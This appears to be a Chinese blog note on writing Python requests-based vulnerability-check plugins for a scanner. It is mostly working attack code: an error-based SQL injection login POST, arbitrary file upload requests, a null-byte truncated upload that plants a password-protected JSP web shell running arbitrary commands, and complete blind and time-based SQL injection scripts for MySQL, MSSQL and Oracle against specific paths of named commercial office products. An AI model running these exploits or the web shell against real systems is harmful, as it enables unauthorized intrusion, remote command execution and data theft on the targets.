因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.
1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。
'需要转移为\\' 然后再进行post。
类似这样子
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content
尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了
2.requests的上传..
找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是
"Content-Type": "multipart/form-data
然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.
一个完整的上传包是这样子的
POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4
------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif
wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--
然后我们截取http头部的基本信息,然后把body部分的拿出来,
------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif
wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--
然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。
------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n
那么完整的就是这样子了...
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
"Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers
遇到上传截断的怎么破.
我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了
def verify(self):
self.print_debug("verify start")
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
"Accept-Encoding": "gzip, deflate",
"Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
rand_num = random.randint(10000,99999)
file_name = "0day5test"+bytes(rand_num)+".jsp"
exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n int a = -1;\r\n byte[] b = new byte[2048];\r\n out.print(\"<pre>\");\r\n while((a=in.read(b))!=-1){\r\n out.println(new String(b));\r\n }\r\n out.print(\"</pre>\");\r\n }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
#截断使用 \x00
try:
response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
#print response.content
except Exception, e:
self.result.error = str(e)
return
arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
url2 = arg + file_name
requests1 = requests.get(url2)
if "0day5" in requests1.content:
self.result.status = True
self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
url=self.option.url,
)
盲注,盲注需要出数据的
1.mysql 延时注入
def verify(self):
uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
url = self.option.url.rstrip('/') + uri
timeout = 3
delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
delay_url = url + delay_sql
# 设置注入获取的数据库版本信息的最大长度
MAX_DB_VERSION_LEN = 48
#;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
db_version_len_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23"
db_version_len_url = url + db_version_len_payload
db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
db_version_info_url = url + db_version_info_payload
# 1.测试SQL延迟注入
start = time.time()
try:
url = delay_url.format(timeout=timeout)
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
self.result.error = str(e)
return
end = time.time()
delay = end - start # 时间延时阀值
self.print_debug("delay = {0}".format(delay))
if (end-start)<timeout:
self.result.status = False
return
# 2.获取数据库版本信息长度(二分法)
db_version_len = 0
l = 0
r = 100
while l <= r:
m = (l+r)/2
start = time.time()
url = db_version_len_url.format(value=m)
self.print_debug("url = {0}".format(url))
try:
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
pass
end = time.time()
self.print_debug("time = {0}".format(end-start))
if (end-start)<timeout:
r = m - 1
else:
l = m + 1
if l >= r and l<=500:
db_version_len = l
else:
db_version_len = 0
self.print_debug("db_version_len = {0}".format(db_version_len))
# 3.获取数据库版本信息(二分法)
db_version = ''
if db_version_len > MAX_DB_VERSION_LEN:
db_version_len = MAX_DB_VERSION_LEN
for i in xrange(1,db_version_len+1,1):
l = 0
r = 256
while l <= r:
m = (l+r)/2
start = time.time()
url = db_version_info_url.format(index=i, value=m)
self.print_debug("url = {0}".format(url))
try:
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
pass
end = time.time()
self.print_debug("delay = {0}".format(end-start))
if (end-start)<timeout:
r = m - 1
else:
l = m + 1
if l >= r and l<=256:
if l>0 and l<256:
db_version += chr(l)
else:
db_version += '?'
else:
pass
self.print_debug("db_version = {0}".format(db_version))
if db_version_len<=0 or len(db_version)<=0:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.data.db_info.version = db_version
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=db_version
)
mysql 盲注
def verify(self):
uri = "/Accountcenter/accountmiddle"
url = self.option.url.rstrip('/') + uri
form = "phone=1"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
exp_url_0 = form + payload_0
payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
exp_url_1 = form + payload_1
MAX_DB_VERSION_LEN = 48
db_version_len_payload = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
db_version_len_form = form + db_version_len_payload
db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
db_version_info_form = form + db_version_info_payload
# 1.测试SQL盲注
content_len_checker = 0
try:
response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
content_len = len(response0.content)
content_len_0 = len(response1.content)
content_len_1 = len(response2.content)
if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
self.result.status = False
return
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
content_len_checker = content_len_0
self.print_debug("content_len_checker = {0}".format(content_len_checker))
# 2.获取数据库版本信息长度(二分法)
# 2.获取数据库版本信息长度(二分法)
db_version_len = 0
l = 0
r = 50
while l <= r:
m = (l+r)/2
version_len = db_version_len_form.format(value=m)
try:
response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
#self.print_debug("{payload} {len}".format(payload=version_len,len=len(response.content)))
if len(response.content)<content_len_checker:
r = m - 1
else:
l = m + 1
except Exception, e:
pass
if l >= r and l<=500:
db_version_len = l
else:
db_version_len = 0
self.print_debug("db_version_len = {0}".format(db_version_len))
# 3.获取数据库版本信息(二分法)
db_version = ''
if db_version_len > MAX_DB_VERSION_LEN:
db_version_len = MAX_DB_VERSION_LEN
for i in xrange(1,db_version_len+1,1):
l = 0
r = 256
while l <= r:
m = (l+r)/2
start = time.time()
version_info = db_version_info_form.format(index=i, value=m)
try:
response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
if len(response.content)<content_len_checker:
r = m - 1
else:
l = m + 1
except Exception, e:
pass
if l >= r and l<=256:
if l>0 and l<256:
db_version += chr(l)
else:
db_version += '?'
else:
pass
self.print_debug("db_version = {0}".format(db_version))
if db_version_len<=0 or len(db_version)<=0:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.data.db_info.version = db_version
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=db_version
)
2.mssql 盲注
def verify(self):
uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
# 设置注入获取的数据库版本信息的最大长度
MAX_DB_VERSION_LEN = 25
db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
# 测试盲注的payload
payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
exp_url_0 = (url + payload_0).replace(" ", "/**/")
payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
exp_url_1 = (url + payload_1).replace(" ", "/**/")
# 1.测试MSSQ盲注
content_len_checker = 0
try:
response = requests.get(url=url, timeout=15, verify=False)
response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
content_len = len(response.content)
content_len_0 = len(response_0.content)
content_len_1 = len(response_1.content)
if (content_len_0 == content_len_1) or \
((content_len <= content_len_0) and (content_len >= content_len_1)):
self.result.status = False
return
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
content_len_checker = content_len_1
# 2.获取数据库版本信息长度
l = 0
r = 500
while l <= r:
m = (l+r)/2
url = db_version_len_url.format(value=m)
try:
response = requests.get(url=url, timeout=15, verify=False)
if len(response.content)<content_len_checker:
r = m - 1
else:
l = m + 1
except Exception, e:
pass
if l >= r:
db_version_len = l
else:
db_version_len = 0
self.print_debug("db_version_len = {0}".format(db_version_len))
# 3.获取数据库版本信息
if db_version_len > MAX_DB_VERSION_LEN:
db_version_len = MAX_DB_VERSION_LEN
db_version=''
for i in xrange(1,db_version_len+1,1):
l = 0
r = 256
while l <= r:
m = (l+r)/2
url = db_version_info_url.format(index=i, value=m)
try:
response = requests.get(url=url, timeout=15, verify=False)
if len(response.content)<content_len_checker:
r = m - 1
else:
l = m + 1
except Exception, e:
pass
if l >= r:
if l>0 and l<256:
db_version += chr(l)
else:
db_version += '?'
else:
pass
self.print_debug("db_version = {0}".format(db_version))
if db_version.find('Micro')==-1:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=db_version
)
MSSQL 延时注入
url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))
timeout = 4
payload = ";waitfor delay '0:0:{timeout}'--"
exp_url = url + payload
MAX_DB_VERSION_LEN = 26
db_version_len_payload = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
db_version_len_url = url + db_version_len_payload
db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
db_version_info_url = url + db_version_info_payload
# 1.测试SQL延迟注入
start = time.time()
url = exp_url.format(timeout=timeout)
try:
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
end = time.time()
if int(end-start)<timeout:
self.result.status = False
return
# 2.获取数据库版本信息长度
db_version_len = 0
l = 0
r = 500
while l <= r:
m = (l+r)/2
start = time.time()
url = db_version_len_url.format(value=m, timeout=timeout)
self.print_debug(url)
try:
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
pass
end = time.time()
if int(end-start)<timeout:
r = m - 1
else:
l = m + 1
if l >= r and l<=500:
db_version_len = l
else:
db_version_len = 0
self.print_debug("db_version_len = {0}".format(db_version_len))
# 3.获取数据库版本信息
if db_version_len > MAX_DB_VERSION_LEN:
db_version_len = MAX_DB_VERSION_LEN
db_version = ''
for i in xrange(1,db_version_len+1,1):
l = 0
r = 256
while l <= r:
m = (l+r)/2
start = time.time()
url = db_version_info_url.format(index=i, value=m, timeout=timeout)
self.print_debug(url)
try:
response = requests.get(url=url, timeout=60, verify=False)
except Exception, e:
pass
end = time.time()
if int(end-start)<timeout:
r = m - 1
else:
l = m + 1
if l >= r and l<=256:
if l>=32 and l<=126:
db_version += chr(l)
else:
db_version += '?'
else:
pass
self.print_debug("db_version = {0}".format(db_version))
if db_version.find('Micro') == -1:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.data.db_info.version = db_version
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=db_version
)
oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]
def verify(self):
exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
headers = {'Content-Type': 'multipart/form-data',
'Referer': exp_url
}
payload0 = " AND 6925=6925"
payload1 = " AND 6925=6926"
db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
# 1.测试SQL延迟注入
content_len_checker = 0
try:
response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
content_len = len(response0.content)
content_len_0 = len(response1.content)
content_len_1 = len(response2.content)
self.print_debug("normal "+str(content_len))
self.print_debug("AND 1=1 "+str(content_len_0))
self.print_debug("AND 1=2 "+str(content_len_1))
if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
self.result.status = False
return
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
content_len_checker = content_len_1
#暴力取值
db_version = ''
payloads = ['.', ' ', '-','@','_']
payloads += list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
#self.print_debug(payloads)
for i in range(1,65,1):
for payload in payloads:
db_date = db_verpay.format(index=i,value=ord(payload))
try:
response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
if len(response.content)>content_len_checker:
db_version += payload
self.print_debug(db_version)
if db_version.find('Oracle') == -1:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.data.db_info.version = db_version
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
url=self.option.url,
db_version=db_version,
exp_url = exp_url,
data = date,
)
oracle 基于时间盲注[长度测量不生效,直接暴力注入]
def oracle(self):
exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
'Referer': exp_url
}
timeout = 3
payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
date = data + payload
db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
db_data = data + db_verpay
# 1.测试SQL延迟注入
start = time.time()
date = date.format(timeout=timeout)
#self.print_debug(date)
try:
response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
end = time.time()
self.print_debug("time = {0}".format(end-start))
if int(end-start)<timeout:
self.result.status = False
return
#暴力取值
db_version = ''
payloads = ['.', ' ', '-','@','_']
payloads += list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
#self.print_debug(payloads)
for i in range(1,65,1):
for payload in payloads:
start = time.time()
db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
try:
response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
except Exception, e:
self.result.error = str(e)
self.result.status = False
return
end = time.time()
if int(end-start)>timeout or int(end-start)==timeout:
db_version += payload
self.print_debug(db_version)
if db_version.find('Oracle') == -1:
self.result.status = False
return
# 4.记录数据库版本信息
self.result.status = True
self.result.data.db_info.version = db_version
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
url=self.option.url,
db_version=db_version,
exp_url = exp_url,
data = date,
)